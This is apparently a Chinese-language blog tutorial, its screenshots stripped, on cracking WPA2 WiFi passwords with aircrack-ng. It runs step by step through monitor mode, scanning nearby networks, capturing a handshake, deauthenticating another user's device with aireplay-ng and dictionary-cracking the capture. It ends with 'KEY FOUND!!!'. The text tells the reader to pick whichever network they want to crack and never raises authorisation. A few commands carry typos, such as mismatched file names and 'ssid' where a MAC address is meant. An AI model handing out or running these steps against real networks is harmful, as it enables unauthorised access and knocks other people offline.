一、

查看网络网卡信息

iwconfig

没有无线网卡的话是

image

有无线网卡的话是

image

二、

开启我i线网卡的侦听模式

airmon-ng start wlan0

image

如果没有出现侦听数据，重启服务

airmon-ng check kill

三、

侦听附近WiFi信息号

airodump-ng wlan0mon

image

四、

选择你要破解的无线网络，抓握手包

airodump -c 6(信道号ch)--bssid x:x:x:x:x:x -w woshou wlan0mon

image

如果抓不到握手报文，需要模拟station，进行攻击

aireplay-ng -0 10 -a bssid -c station mac wlan0mon

aireplay-ng -0 10 -a AP的mac地址 -c 你要踢掉的主机的mac地址 wlan0mon

五、

vim passwf.txt(这是一个密码包，这是一个实验，所以密码包自己写，当然可以在网上下载大的密码包)

aircrack-ng -a2 -b ssid(mac地址) -w passwd.txt woshou.cap

-a2 是加密的协议，在你抓握手包的中有显示，现在我i线网卡一般都是WPA2

image

KEY FOUND!!!